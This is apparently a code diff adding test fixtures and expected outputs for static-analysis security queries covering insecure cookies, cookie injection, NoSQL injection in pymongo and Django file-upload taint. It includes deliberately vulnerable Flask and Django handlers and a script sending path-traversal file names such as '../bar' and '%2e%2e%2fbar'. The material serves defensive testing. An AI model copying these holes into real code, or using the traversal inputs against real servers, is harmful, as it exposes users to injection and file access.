+| flask_bad.py:32:34:32:98 | ControlFlowNode for Fstring | flask_bad.py:32:60:32:66 | ControlFlowNode for request | flask_bad.py:32:34:32:98 | ControlFlowNode for Fstring | Cookie is constructed from a $@,and its httponly flag is not properly set. | flask_bad.py:32:60:32:66 | ControlFlowNode for request | user-supplied input |
+| flask_bad.py:32:34:32:98 | ControlFlowNode for Fstring | flask_bad.py:32:60:32:66 | ControlFlowNode for request | flask_bad.py:32:34:32:98 | ControlFlowNode for Fstring | Cookie is constructed from a $@,and its samesite flag is not properly set. | flask_bad.py:32:60:32:66 | ControlFlowNode for request | user-supplied input |
+| flask_bad.py:32:34:32:98 | ControlFlowNode for Fstring | flask_bad.py:32:60:32:66 | ControlFlowNode for request | flask_bad.py:32:34:32:98 | ControlFlowNode for Fstring | Cookie is constructed from a $@,and its secure flag is not properly set. | flask_bad.py:32:60:32:66 | ControlFlowNode for request | user-supplied input |
diff --git a/python/ql/test/experimental/query-tests/Security/CWE-614/CookieInjection.qlref b/python/ql/test/experimental/query-tests/Security/CWE-614/CookieInjection.qlref
new file mode 100644
index 00000000000..5710a3322de
--- /dev/null
+++ b/python/ql/test/experimental/query-tests/Security/CWE-614/CookieInjection.qlref
@@ -0,0 +1 @@
+experimental/Security/CWE-614/CookieInjection.ql
diff --git a/python/ql/test/experimental/query-tests/Security/CWE-614/InsecureCookie.expected b/python/ql/test/experimental/query-tests/Security/CWE-614/InsecureCookie.expected
new file mode 100644
index 00000000000..61f9b9b7469
--- /dev/null
+++ b/python/ql/test/experimental/query-tests/Security/CWE-614/InsecureCookie.expected
@@ -0,0 +1,30 @@
+| django_bad.py:6:5:7:52 | ControlFlowNode for Attribute() | Cookie is added without the 'httponly' flag properly set. |
+| django_bad.py:6:5:7:52 | ControlFlowNode for Attribute() | Cookie is added without the 'samesite' flag properly set. |
+| django_bad.py:6:5:7:52 | ControlFlowNode for Attribute() | Cookie is added without the 'secure' flag properly set. |
+| django_bad.py:13:5:13:26 | ControlFlowNode for Subscript | Cookie is added without the 'httponly' flag properly set. |
+| django_bad.py:13:5:13:26 | ControlFlowNode for Subscript | Cookie is added without the 'samesite' flag properly set. |
+| django_bad.py:13:5:13:26 | ControlFlowNode for Subscript | Cookie is added without the 'secure' flag properly set. |
+| django_bad.py:19:5:21:66 | ControlFlowNode for Attribute() | Cookie is added without the 'httponly' flag properly set. |
+| django_bad.py:19:5:21:66 | ControlFlowNode for Attribute() | Cookie is added without the 'samesite' flag properly set. |
+| django_bad.py:19:5:21:66 | ControlFlowNode for Attribute() | Cookie is added without the 'secure' flag properly set. |
+| django_bad.py:27:5:27:26 | ControlFlowNode for Subscript | Cookie is added without the 'httponly' flag properly set. |
+| django_bad.py:27:5:27:26 | ControlFlowNode for Subscript | Cookie is added without the 'samesite' flag properly set. |
+| django_bad.py:27:5:27:26 | ControlFlowNode for Subscript | Cookie is added without the 'secure' flag properly set. |
+| django_good.py:19:5:19:44 | ControlFlowNode for Attribute() | Cookie is added without the 'httponly' flag properly set. |
+| django_good.py:19:5:19:44 | ControlFlowNode for Attribute() | Cookie is added without the 'samesite' flag properly set. |
+| django_good.py:19:5:19:44 | ControlFlowNode for Attribute() | Cookie is added without the 'secure' flag properly set. |
+| flask_bad.py:9:5:10:52 | ControlFlowNode for Attribute() | Cookie is added without the 'httponly' flag properly set. |
+| flask_bad.py:9:5:10:52 | ControlFlowNode for Attribute() | Cookie is added without the 'samesite' flag properly set. |
+| flask_bad.py:9:5:10:52 | ControlFlowNode for Attribute() | Cookie is added without the 'secure' flag properly set. |
+| flask_bad.py:17:5:17:30 | ControlFlowNode for Subscript | Cookie is added without the 'httponly' flag properly set. |
+| flask_bad.py:17:5:17:30 | ControlFlowNode for Subscript | Cookie is added without the 'samesite' flag properly set. |
+| flask_bad.py:17:5:17:30 | ControlFlowNode for Subscript | Cookie is added without the 'secure' flag properly set. |
+| flask_bad.py:24:5:25:52 | ControlFlowNode for Attribute() | Cookie is added without the 'httponly' flag properly set. |
+| flask_bad.py:24:5:25:52 | ControlFlowNode for Attribute() | Cookie is added without the 'samesite' flag properly set. |
+| flask_bad.py:24:5:25:52 | ControlFlowNode for Attribute() | Cookie is added without the 'secure' flag properly set. |
+| flask_bad.py:32:5:32:30 | ControlFlowNode for Subscript | Cookie is added without the 'httponly' flag properly set. |
+| flask_bad.py:32:5:32:30 | ControlFlowNode for Subscript | Cookie is added without the 'samesite' flag properly set. |
+| flask_bad.py:32:5:32:30 | ControlFlowNode for Subscript | Cookie is added without the 'secure' flag properly set. |
+| flask_good.py:23:5:23:57 | ControlFlowNode for Attribute() | Cookie is added without the 'httponly' flag properly set. |
+| flask_good.py:23:5:23:57 | ControlFlowNode for Attribute() | Cookie is added without the 'samesite' flag properly set. |
+| flask_good.py:23:5:23:57 | ControlFlowNode for Attribute() | Cookie is added without the 'secure' flag properly set. |
diff --git a/python/ql/test/experimental/query-tests/Security/CWE-614/InsecureCookie.qlref b/python/ql/test/experimental/query-tests/Security/CWE-614/InsecureCookie.qlref
new file mode 100644
index 00000000000..378d5dcae1a
--- /dev/null
+++ b/python/ql/test/experimental/query-tests/Security/CWE-614/InsecureCookie.qlref
@@ -0,0 +1 @@
+experimental/Security/CWE-614/InsecureCookie.ql
diff --git a/python/ql/test/experimental/query-tests/Security/CWE-614/django_bad.py b/python/ql/test/experimental/query-tests/Security/CWE-614/django_bad.py
new file mode 100644
index 00000000000..6f1916930e5
--- /dev/null
+++ b/python/ql/test/experimental/query-tests/Security/CWE-614/django_bad.py
@@ -0,0 +1,28 @@
+import django.http
+
+
+def django_response(request):
+    resp = django.http.HttpResponse()
+    resp.set_cookie("name", "value", secure=False,
+                    httponly=False, samesite='None')
+    return resp
+
+
+def django_response():
+    response = django.http.HttpResponse()
+    response['Set-Cookie'] = "name=value; SameSite=None;"
+    return response
+
+
+def django_response(request):
+    resp = django.http.HttpResponse()
+    resp.set_cookie(django.http.request.GET.get("name"),
+                    django.http.request.GET.get("value"),
+                    secure=False, httponly=False, samesite='None')
+    return resp
+
+
+def django_response():
+    response = django.http.HttpResponse()
+    response['Set-Cookie'] = f"{django.http.request.GET.get('name')}={django.http.request.GET.get('value')}; SameSite=None;"
+    return response
diff --git a/python/ql/test/experimental/query-tests/Security/CWE-614/django_good.py b/python/ql/test/experimental/query-tests/Security/CWE-614/django_good.py
new file mode 100644
index 00000000000..7476971cbb5
--- /dev/null
+++ b/python/ql/test/experimental/query-tests/Security/CWE-614/django_good.py
@@ -0,0 +1,20 @@
+import django.http
+
+
+def django_response(request):
+    resp = django.http.HttpResponse()
+    resp['Set-Cookie'] = "name=value; Secure; HttpOnly; SameSite=Lax;"
+    return resp
+
+
+def django_response(request):
+    resp = django.http.HttpResponse()
+    resp.set_cookie("name", "value", secure=True,
+                    httponly=True, samesite='Lax')
+    return resp
+
+
+def indeterminate(secure):
+    resp = django.http.HttpResponse()
+    resp.set_cookie("name", "value", secure)
+    return resp
diff --git a/python/ql/test/experimental/query-tests/Security/CWE-614/flask_bad.py b/python/ql/test/experimental/query-tests/Security/CWE-614/flask_bad.py
new file mode 100644
index 00000000000..431df5eb4d8
--- /dev/null
+++ b/python/ql/test/experimental/query-tests/Security/CWE-614/flask_bad.py
@@ -0,0 +1,37 @@
+from flask import Flask, request, make_response, Response
+
+app = Flask(__name__)
+
+
+@app.route("/1")
+def false():
+    resp = make_response()
+    resp.set_cookie("name", value="value", secure=False,
+                    httponly=False, samesite='None')
+    return resp
+
+
+@app.route("/2")
+def flask_Response():
+    resp = Response()
+    resp.headers['Set-Cookie'] = "name=value; SameSite=None;"
+    return resp
+
+
+@app.route("/3")
+def false():
+    resp = make_response()
+    resp.set_cookie(request.args["name"], value=request.args["value"], secure=False,
+                    httponly=False, samesite='None')
+    return resp
+
+
+@app.route("/4")
+def flask_Response():
+    resp = Response()
+    resp.headers['Set-Cookie'] = f"{request.args['name']}={request.args['value']}; SameSite=None;"
+    return resp
+
+
+# if __name__ == "__main__":
+#     app.run(debug=True)
diff --git a/python/ql/test/experimental/query-tests/Security/CWE-614/flask_good.py b/python/ql/test/experimental/query-tests/Security/CWE-614/flask_good.py
new file mode 100644
index 00000000000..4cb23bd84b3
--- /dev/null
+++ b/python/ql/test/experimental/query-tests/Security/CWE-614/flask_good.py
@@ -0,0 +1,28 @@
+from flask import Flask, request, make_response, Response
+
+app = Flask(__name__)
+
+
+@app.route("/1")
+def true():
+    resp = make_response()
+    resp.set_cookie("name", value="value", secure=True,
+                    httponly=True, samesite='Lax')
+    return resp
+
+
+@app.route("/2")
+def flask_Response():
+    resp = Response()
+    resp.headers['Set-Cookie'] = "name=value; Secure; HttpOnly; SameSite=Lax;"
+    return resp
+
+
+def indeterminate(secure):
+    resp = make_response()
+    resp.set_cookie("name", value="value", secure=secure)
+    return resp
+
+
+# if __name__ == "__main__":
+#     app.run(debug=True)
diff --git a/python/ql/test/experimental/query-tests/Security/CWE-943/NoSQLInjection.expected b/python/ql/test/experimental/query-tests/Security/CWE-943/NoSQLInjection.expected
index 6fa158370a6..2922cc9f97e 100644
--- a/python/ql/test/experimental/query-tests/Security/CWE-943/NoSQLInjection.expected
+++ b/python/ql/test/experimental/query-tests/Security/CWE-943/NoSQLInjection.expected
@@ -44,11 +44,19 @@ edges
 | mongoengine_bad.py:57:21:57:42 | ControlFlowNode for Subscript | mongoengine_bad.py:58:30:58:42 | ControlFlowNode for unsafe_search |
 | mongoengine_bad.py:58:19:58:43 | ControlFlowNode for Attribute() | mongoengine_bad.py:61:29:61:49 | ControlFlowNode for Dict |
 | mongoengine_bad.py:58:30:58:42 | ControlFlowNode for unsafe_search | mongoengine_bad.py:58:19:58:43 | ControlFlowNode for Attribute() |
-| pymongo_bad.py:11:21:11:27 | ControlFlowNode for request | pymongo_bad.py:11:21:11:32 | ControlFlowNode for Attribute |
-| pymongo_bad.py:11:21:11:32 | ControlFlowNode for Attribute | pymongo_bad.py:11:21:11:42 | ControlFlowNode for Subscript |
-| pymongo_bad.py:11:21:11:42 | ControlFlowNode for Subscript | pymongo_bad.py:12:30:12:42 | ControlFlowNode for unsafe_search |
-| pymongo_bad.py:12:19:12:43 | ControlFlowNode for Attribute() | pymongo_bad.py:14:42:14:62 | ControlFlowNode for Dict |
-| pymongo_bad.py:12:30:12:42 | ControlFlowNode for unsafe_search | pymongo_bad.py:12:19:12:43 | ControlFlowNode for Attribute() |
+| pymongo_test.py:12:21:12:27 | ControlFlowNode for request | pymongo_test.py:12:21:12:32 | ControlFlowNode for Attribute |
+| pymongo_test.py:12:21:12:32 | ControlFlowNode for Attribute | pymongo_test.py:12:21:12:42 | ControlFlowNode for Subscript |
+| pymongo_test.py:12:21:12:42 | ControlFlowNode for Subscript | pymongo_test.py:13:30:13:42 | ControlFlowNode for unsafe_search |
+| pymongo_test.py:13:19:13:43 | ControlFlowNode for Attribute() | pymongo_test.py:15:42:15:62 | ControlFlowNode for Dict |
+| pymongo_test.py:13:30:13:42 | ControlFlowNode for unsafe_search | pymongo_test.py:13:19:13:43 | ControlFlowNode for Attribute() |
+| pymongo_test.py:29:16:29:51 | ControlFlowNode for Attribute() | pymongo_test.py:33:34:33:73 | ControlFlowNode for Dict |
+| pymongo_test.py:29:27:29:33 | ControlFlowNode for request | pymongo_test.py:29:27:29:38 | ControlFlowNode for Attribute |
+| pymongo_test.py:29:27:29:38 | ControlFlowNode for Attribute | pymongo_test.py:29:27:29:50 | ControlFlowNode for Subscript |
+| pymongo_test.py:29:27:29:50 | ControlFlowNode for Subscript | pymongo_test.py:29:16:29:51 | ControlFlowNode for Attribute() |
+| pymongo_test.py:39:16:39:51 | ControlFlowNode for Attribute() | pymongo_test.py:43:34:43:73 | ControlFlowNode for Dict |
+| pymongo_test.py:39:27:39:33 | ControlFlowNode for request | pymongo_test.py:39:27:39:38 | ControlFlowNode for Attribute |
+| pymongo_test.py:39:27:39:38 | ControlFlowNode for Attribute | pymongo_test.py:39:27:39:50 | ControlFlowNode for Subscript |
+| pymongo_test.py:39:27:39:50 | ControlFlowNode for Subscript | pymongo_test.py:39:16:39:51 | ControlFlowNode for Attribute() |
 nodes
 | flask_mongoengine_bad.py:19:21:19:27 | ControlFlowNode for request | semmle.label | ControlFlowNode for request |
 | flask_mongoengine_bad.py:19:21:19:32 | ControlFlowNode for Attribute | semmle.label | ControlFlowNode for Attribute |
@@ -104,12 +112,22 @@ nodes
 | mongoengine_bad.py:58:19:58:43 | ControlFlowNode for Attribute() | semmle.label | ControlFlowNode for Attribute() |
 | mongoengine_bad.py:58:30:58:42 | ControlFlowNode for unsafe_search | semmle.label | ControlFlowNode for unsafe_search |
 | mongoengine_bad.py:61:29:61:49 | ControlFlowNode for Dict | semmle.label | ControlFlowNode for Dict |
-| pymongo_bad.py:11:21:11:27 | ControlFlowNode for request | semmle.label | ControlFlowNode for request |
-| pymongo_bad.py:11:21:11:32 | ControlFlowNode for Attribute | semmle.label | ControlFlowNode for Attribute |
-| pymongo_bad.py:11:21:11:42 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript |
-| pymongo_bad.py:12:19:12:43 | ControlFlowNode for Attribute() | semmle.label | ControlFlowNode for Attribute() |
-| pymongo_bad.py:12:30:12:42 | ControlFlowNode for unsafe_search | semmle.label | ControlFlowNode for unsafe_search |
-| pymongo_bad.py:14:42:14:62 | ControlFlowNode for Dict | semmle.label | ControlFlowNode for Dict |
+| pymongo_test.py:12:21:12:27 | ControlFlowNode for request | semmle.label | ControlFlowNode for request |
+| pymongo_test.py:12:21:12:32 | ControlFlowNode for Attribute | semmle.label | ControlFlowNode for Attribute |
+| pymongo_test.py:12:21:12:42 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript |
+| pymongo_test.py:13:19:13:43 | ControlFlowNode for Attribute() | semmle.label | ControlFlowNode for Attribute() |
+| pymongo_test.py:13:30:13:42 | ControlFlowNode for unsafe_search | semmle.label | ControlFlowNode for unsafe_search |
+| pymongo_test.py:15:42:15:62 | ControlFlowNode for Dict | semmle.label | ControlFlowNode for Dict |
+| pymongo_test.py:29:16:29:51 | ControlFlowNode for Attribute() | semmle.label | ControlFlowNode for Attribute() |
+| pymongo_test.py:29:27:29:33 | ControlFlowNode for request | semmle.label | ControlFlowNode for request |
+| pymongo_test.py:29:27:29:38 | ControlFlowNode for Attribute | semmle.label | ControlFlowNode for Attribute |
+| pymongo_test.py:29:27:29:50 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript |
+| pymongo_test.py:33:34:33:73 | ControlFlowNode for Dict | semmle.label | ControlFlowNode for Dict |
+| pymongo_test.py:39:16:39:51 | ControlFlowNode for Attribute() | semmle.label | ControlFlowNode for Attribute() |
+| pymongo_test.py:39:27:39:33 | ControlFlowNode for request | semmle.label | ControlFlowNode for request |
+| pymongo_test.py:39:27:39:38 | ControlFlowNode for Attribute | semmle.label | ControlFlowNode for Attribute |
+| pymongo_test.py:39:27:39:50 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript |
+| pymongo_test.py:43:34:43:73 | ControlFlowNode for Dict | semmle.label | ControlFlowNode for Dict |
 subpaths
 #select
 | flask_mongoengine_bad.py:22:34:22:44 | ControlFlowNode for json_search | flask_mongoengine_bad.py:19:21:19:27 | ControlFlowNode for request | flask_mongoengine_bad.py:22:34:22:44 | ControlFlowNode for json_search | $@ NoSQL query contains an unsanitized $@ | flask_mongoengine_bad.py:22:34:22:44 | ControlFlowNode for json_search | This | flask_mongoengine_bad.py:19:21:19:27 | ControlFlowNode for request | user-provided value |
@@ -121,4 +139,6 @@ subpaths
 | mongoengine_bad.py:46:26:46:46 | ControlFlowNode for Dict | mongoengine_bad.py:42:21:42:27 | ControlFlowNode for request | mongoengine_bad.py:46:26:46:46 | ControlFlowNode for Dict | $@ NoSQL query contains an unsanitized $@ | mongoengine_bad.py:46:26:46:46 | ControlFlowNode for Dict | This | mongoengine_bad.py:42:21:42:27 | ControlFlowNode for request | user-provided value |
 | mongoengine_bad.py:53:34:53:44 | ControlFlowNode for json_search | mongoengine_bad.py:50:21:50:27 | ControlFlowNode for request | mongoengine_bad.py:53:34:53:44 | ControlFlowNode for json_search | $@ NoSQL query contains an unsanitized $@ | mongoengine_bad.py:53:34:53:44 | ControlFlowNode for json_search | This | mongoengine_bad.py:50:21:50:27 | ControlFlowNode for request | user-provided value |
 | mongoengine_bad.py:61:29:61:49 | ControlFlowNode for Dict | mongoengine_bad.py:57:21:57:27 | ControlFlowNode for request | mongoengine_bad.py:61:29:61:49 | ControlFlowNode for Dict | $@ NoSQL query contains an unsanitized $@ | mongoengine_bad.py:61:29:61:49 | ControlFlowNode for Dict | This | mongoengine_bad.py:57:21:57:27 | ControlFlowNode for request | user-provided value |
-| pymongo_bad.py:14:42:14:62 | ControlFlowNode for Dict | pymongo_bad.py:11:21:11:27 | ControlFlowNode for request | pymongo_bad.py:14:42:14:62 | ControlFlowNode for Dict | $@ NoSQL query contains an unsanitized $@ | pymongo_bad.py:14:42:14:62 | ControlFlowNode for Dict | This | pymongo_bad.py:11:21:11:27 | ControlFlowNode for request | user-provided value |
+| pymongo_test.py:15:42:15:62 | ControlFlowNode for Dict | pymongo_test.py:12:21:12:27 | ControlFlowNode for request | pymongo_test.py:15:42:15:62 | ControlFlowNode for Dict | $@ NoSQL query contains an unsanitized $@ | pymongo_test.py:15:42:15:62 | ControlFlowNode for Dict | This | pymongo_test.py:12:21:12:27 | ControlFlowNode for request | user-provided value |
+| pymongo_test.py:33:34:33:73 | ControlFlowNode for Dict | pymongo_test.py:29:27:29:33 | ControlFlowNode for request | pymongo_test.py:33:34:33:73 | ControlFlowNode for Dict | $@ NoSQL query contains an unsanitized $@ | pymongo_test.py:33:34:33:73 | ControlFlowNode for Dict | This | pymongo_test.py:29:27:29:33 | ControlFlowNode for request | user-provided value |
+| pymongo_test.py:43:34:43:73 | ControlFlowNode for Dict | pymongo_test.py:39:27:39:33 | ControlFlowNode for request | pymongo_test.py:43:34:43:73 | ControlFlowNode for Dict | $@ NoSQL query contains an unsanitized $@ | pymongo_test.py:43:34:43:73 | ControlFlowNode for Dict | This | pymongo_test.py:39:27:39:33 | ControlFlowNode for request | user-provided value |
diff --git a/python/ql/test/experimental/query-tests/Security/CWE-943/pymongo_bad.py b/python/ql/test/experimental/query-tests/Security/CWE-943/pymongo_bad.py
deleted file mode 100644
index da16df828b8..00000000000
--- a/python/ql/test/experimental/query-tests/Security/CWE-943/pymongo_bad.py
+++ /dev/null
@@ -1,17 +0,0 @@
-from flask import Flask, request
-from pymongo import MongoClient
-import json
-
-app = Flask(__name__)
-client = MongoClient()
-
-
-@app.route("/")
-def home_page():
-    unsafe_search = request.args['search']
-    json_search = json.loads(unsafe_search)
-
-    return client.db.collection.find_one({'data': json_search})
-
-# if __name__ == "__main__":
-#     app.run(debug=True)
diff --git a/python/ql/test/experimental/query-tests/Security/CWE-943/pymongo_good.py b/python/ql/test/experimental/query-tests/Security/CWE-943/pymongo_good.py
deleted file mode 100644
index 5b112e12385..00000000000
--- a/python/ql/test/experimental/query-tests/Security/CWE-943/pymongo_good.py
+++ /dev/null
@@ -1,19 +0,0 @@
-from flask import Flask, request
-from pymongo import MongoClient
-from mongosanitizer.sanitizer import sanitize
-import json
-
-app = Flask(__name__)
-client = MongoClient()
-
-
-@app.route("/")
-def home_page():
-    unsafe_search = request.args['search']
-    json_search = json.loads(unsafe_search)
-    safe_search = sanitize(json_search)
-
-    return client.db.collection.find_one({'data': safe_search})
-
-# if __name__ == "__main__":
-#     app.run(debug=True)
diff --git a/python/ql/test/experimental/query-tests/Security/CWE-943/pymongo_test.py b/python/ql/test/experimental/query-tests/Security/CWE-943/pymongo_test.py
new file mode 100644
index 00000000000..ecf53ec4f9a
--- /dev/null
+++ b/python/ql/test/experimental/query-tests/Security/CWE-943/pymongo_test.py
@@ -0,0 +1,47 @@
+from flask import Flask, request
+from pymongo import MongoClient
+from mongosanitizer.sanitizer import sanitize
+import json
+
+app = Flask(__name__)
+client = MongoClient()
+
+
+@app.route("/bad")
+def bad():
+    unsafe_search = request.args['search']
+    json_search = json.loads(unsafe_search)
+
+    return client.db.collection.find_one({'data': json_search})
+
+
+@app.route("/good")
+def good():
+    unsafe_search = request.args['search']
+    json_search = json.loads(unsafe_search)
+    safe_search = sanitize(json_search)
+
+    return client.db.collection.find_one({'data': safe_search})
+
+
+@app.route("/bad2")
+def bad2():
+    event_id = json.loads(request.args['event_id'])
+    client = MongoClient("localhost", 27017, maxPoolSize=50)
+    db = client.localhost
+    collection = db['collection']
+    cursor = collection.find_one({"$where": f"this._id == '${event_id}'"})
+
+
+@app.route("/bad3")
+def bad3():
+    # using `get_` methods instead of subscript/attribute lookups
+    event_id = json.loads(request.args['event_id'])
+    client = MongoClient("localhost", 27017, maxPoolSize=50)
+    db = client.get_database(name="localhost")
+    collection = db.get_collection("collection")
+    cursor = collection.find_one({"$where": f"this._id == '${event_id}'"})
+
+
+if __name__ == "__main__":
+    app.run(debug=True)
diff --git a/python/ql/test/library-tests/ApiGraphs/py3/ModuleImportWithDots.expected b/python/ql/test/library-tests/ApiGraphs/py3/ModuleImportWithDots.expected
new file mode 100644
index 00000000000..a6798920cde
--- /dev/null
+++ b/python/ql/test/library-tests/ApiGraphs/py3/ModuleImportWithDots.expected
@@ -0,0 +1,5 @@
+moduleImportWithDots
+doesntFullyWork
+works
+| test.py:25:6:25:18 | ControlFlowNode for Attribute() |
+| test.py:28:10:28:17 | ControlFlowNode for method() |
diff --git a/python/ql/test/library-tests/ApiGraphs/py3/ModuleImportWithDots.ql b/python/ql/test/library-tests/ApiGraphs/py3/ModuleImportWithDots.ql
new file mode 100644
index 00000000000..16e5ce5e3b0
--- /dev/null
+++ b/python/ql/test/library-tests/ApiGraphs/py3/ModuleImportWithDots.ql
@@ -0,0 +1,18 @@
+private import python
+private import semmle.python.ApiGraphs
+
+query API::Node moduleImportWithDots() { result = API::moduleImport("a.b.c.d") }
+
+query API::CallNode doesntFullyWork() {
+  result = API::moduleImport("a.b.c.d").getMember("method").getACall()
+}
+
+query API::CallNode works() {
+  result =
+    API::moduleImport("a")
+        .getMember("b")
+        .getMember("c")
+        .getMember("d")
+        .getMember("method")
+        .getACall()
+}
diff --git a/python/ql/test/library-tests/ApiGraphs/py3/test.py b/python/ql/test/library-tests/ApiGraphs/py3/test.py
index 368eafdb6e2..29a28bc6252 100644
--- a/python/ql/test/library-tests/ApiGraphs/py3/test.py
+++ b/python/ql/test/library-tests/ApiGraphs/py3/test.py
@@ -24,6 +24,9 @@ abcd = abc.d #$ use=moduleImport("a").getMember("b").getMember("c").getMember("d
 
 x5 = abcd.method() #$ use=moduleImport("a").getMember("b").getMember("c").getMember("d").getMember("method").getReturn()
 
+from a.b.c.d import method
+x5_alt = method() #$ use=moduleImport("a").getMember("b").getMember("c").getMember("d").getMember("method").getReturn()
+
 from a6 import m6 #$ use=moduleImport("a6").getMember("m6")
 
 x6 = m6().foo().bar() #$ use=moduleImport("a6").getMember("m6").getReturn().getMember("foo").getReturn().getMember("bar").getReturn()
diff --git a/python/ql/test/library-tests/ApiGraphs/py3/verifyApiGraphs.ql b/python/ql/test/library-tests/ApiGraphs/py3/verifyApiGraphs.ql
index 520f507ca9f..477ed4454fb 100644
--- a/python/ql/test/library-tests/ApiGraphs/py3/verifyApiGraphs.ql
+++ b/python/ql/test/library-tests/ApiGraphs/py3/verifyApiGraphs.ql
@@ -1 +1,3 @@
+// Note: This is not using standard inline-expectation tests, so will not alert if you
+// have not manually added an annotation to a line!
 import TestUtilities.VerifyApiGraphs
diff --git a/python/ql/test/library-tests/frameworks/django-v2-v3/.gitignore b/python/ql/test/library-tests/frameworks/django-v2-v3/.gitignore
new file mode 100644
index 00000000000..d3646a96410
--- /dev/null
+++ b/python/ql/test/library-tests/frameworks/django-v2-v3/.gitignore
@@ -0,0 +1,5 @@
+db.sqlite3
+
+# The testapp/migrations/ folder needs to be comitted to git,
+# but we don't care to store the actual migrations
+testapp/migrations/
diff --git a/python/ql/test/library-tests/frameworks/django-v2-v3/FileField_test.py b/python/ql/test/library-tests/frameworks/django-v2-v3/FileField_test.py
new file mode 100644
index 00000000000..688885c272a
--- /dev/null
+++ b/python/ql/test/library-tests/frameworks/django-v2-v3/FileField_test.py
@@ -0,0 +1,27 @@
+from django.db import models
+import django.db.models.fields.files
+
+def custom_path_function_1(instance, filename):
+    ensure_tainted(filename) # $ tainted
+
+def custom_path_function_2(instance, filename):
+    ensure_tainted(filename) # $ tainted
+
+def custom_path_function_3(instance, filename):
+    ensure_tainted(filename) # $ tainted
+
+def custom_path_function_4(instance, filename):
+    ensure_tainted(filename) # $ tainted
+
+
+class CustomFileFieldSubclass(models.FileField):
+    pass
+
+
+class MyModel(models.Model):
+    upload_1 = models.FileField(None, None, custom_path_function_1)
+    upload_2 = django.db.models.fields.files.FileField(upload_to=custom_path_function_2)
+
+    upload_3 = models.ImageField(upload_to=custom_path_function_3)
+
+    upload_4 = CustomFileFieldSubclass(upload_to=custom_path_function_4)
diff --git a/python/ql/test/library-tests/frameworks/django-v2-v3/response_test.py b/python/ql/test/library-tests/frameworks/django-v2-v3/response_test.py
index 74f306e8357..dd78cd51016 100644
--- a/python/ql/test/library-tests/frameworks/django-v2-v3/response_test.py
+++ b/python/ql/test/library-tests/frameworks/django-v2-v3/response_test.py
@@ -1,5 +1,6 @@
 from django.http.response import HttpResponse, HttpResponseRedirect, HttpResponsePermanentRedirect, JsonResponse, HttpResponseNotFound
 from django.views.generic import RedirectView
+from django.views.decorators.csrf import csrf_protect
 import django.shortcuts
 import json
 
@@ -117,6 +118,7 @@ class CustomJsonResponse(JsonResponse):
     def __init__(self, banner, content, *args, **kwargs):
         super().__init__(content, *args, content_type="text/html", **kwargs)
 
+@csrf_protect  # $CsrfLocalProtectionEnabled=safe__custom_json_response
 def safe__custom_json_response(request):
     return CustomJsonResponse("ACME Responses", {"foo": request.GET.get("foo")})  # $HttpResponse mimetype=application/json MISSING: responseBody=Dict SPURIOUS: responseBody="ACME Responses"
 
diff --git a/python/ql/test/library-tests/frameworks/django-v2-v3/test_file_field b/python/ql/test/library-tests/frameworks/django-v2-v3/test_file_field
new file mode 100755
index 00000000000..00061d85ea7
--- /dev/null
+++ b/python/ql/test/library-tests/frameworks/django-v2-v3/test_file_field
@@ -0,0 +1,31 @@
+#!/usr/bin/env python3
+
+# first run the server with
+# python manage.py makemigrations && python manage.py migrate && python manage.py runserver
+
+import requests
+
+requests.post(
+    "http://127.0.0.1:8000/app/file-test/",
+    files={"fieldname": ("foo/bar", open("/home/rasmus/TODO", "rb"))}
+)
+
+requests.post(
+    "http://127.0.0.1:8000/app/file-test/",
+    files={"fieldname": ("../bar", open("/home/rasmus/TODO", "rb"))}
+)
+
+requests.post(
+    "http://127.0.0.1:8000/app/file-test/",
+    files={"fieldname": (r"foo%2fbar", open("/home/rasmus/TODO", "rb"))}
+)
+
+requests.post(
+    "http://127.0.0.1:8000/app/file-test/",
+    files={"fieldname": (r"%2e%2e%2fbar", open("/home/rasmus/TODO", "rb"))}
+)
+
+requests.post(
+    "http://127.0.0.1:8000/app/file-test/",
+    files={"fieldname": (r"foo%c0%afbar", open("/home/rasmus/TODO", "rb"))}
+)
diff --git a/python/ql/test/library-tests/frameworks/django-v2-v3/testapp/models.py b/python/ql/test/library-tests/frameworks/django-v2-v3/testapp/models.py
index 71a83623907..2a133aa5f4d 100644
--- a/python/ql/test/library-tests/frameworks/django-v2-v3/testapp/models.py
+++ b/python/ql/test/library-tests/frameworks/django-v2-v3/testapp/models.py
@@ -1,3 +1,10 @@
+import os.path
+
 from django.db import models
 
-# Create your models here.
+def custom_path_function(instance, filename):
+    print(repr(os.path.join("rootdir", filename)))
+    raise NotImplementedError()
+
+class MyModel(models.Model):
+    upload = models.FileField(upload_to=custom_path_function)
diff --git a/python/ql/test/library-tests/frameworks/django-v2-v3/testapp/urls.py b/python/ql/test/library-tests/frameworks/django-v2-v3/testapp/urls.py
index 2f0d978c97a..e8f6930c895 100644
--- a/python/ql/test/library-tests/frameworks/django-v2-v3/testapp/urls.py
+++ b/python/ql/test/library-tests/frameworks/django-v2-v3/testapp/urls.py
@@ -1,8 +1,5 @@
 from django.urls import path, re_path
 
-# This version 1.x way of defining urls is deprecated in Django 3.1, but still works
-from django.conf.urls import url
-
 from . import views
 
 urlpatterns = [
@@ -11,11 +8,29 @@ urlpatterns = [
     # inline expectation tests (which thinks the `$` would mark the beginning of a new
     # line)
     re_path(r"^ba[rz]/", views.bar_baz),  # $routeSetup="^ba[rz]/"
-    url(r"^deprecated/", views.deprecated),  # $routeSetup="^deprecated/"
 
     path("basic-view-handler/", views.MyBasicViewHandler.as_view()),  # $routeSetup="basic-view-handler/"
     path("custom-inheritance-view-handler/", views.MyViewHandlerWithCustomInheritance.as_view()),  # $routeSetup="custom-inheritance-view-handler/"
 
     path("CustomRedirectView/<foo>", views.CustomRedirectView.as_view()),  # $routeSetup="CustomRedirectView/<foo>"
     path("CustomRedirectView2/<foo>", views.CustomRedirectView2.as_view()),  # $routeSetup="CustomRedirectView2/<foo>"
+
+    path("file-test/", views.file_test), # $routeSetup="file-test/"
 ]
+
+from django import __version__ as django_version
+
+if django_version[0] == "3":
+    # This version 1.x way of defining urls is deprecated in Django 3.1, but still works.
+    # However, it is removed in Django 4.0, so we need this guard to make our code runnable
+    from django.conf.urls import url
+
+    old_urlpatterns = urlpatterns
+
+    # we need this assignment to get our logic working... maybe it should be more
+    # sophisticated?
+    urlpatterns = [
+        url(r"^deprecated/", views.deprecated),  # $routeSetup="^deprecated/"
+    ]
+
+    urlpatterns += old_urlpatterns
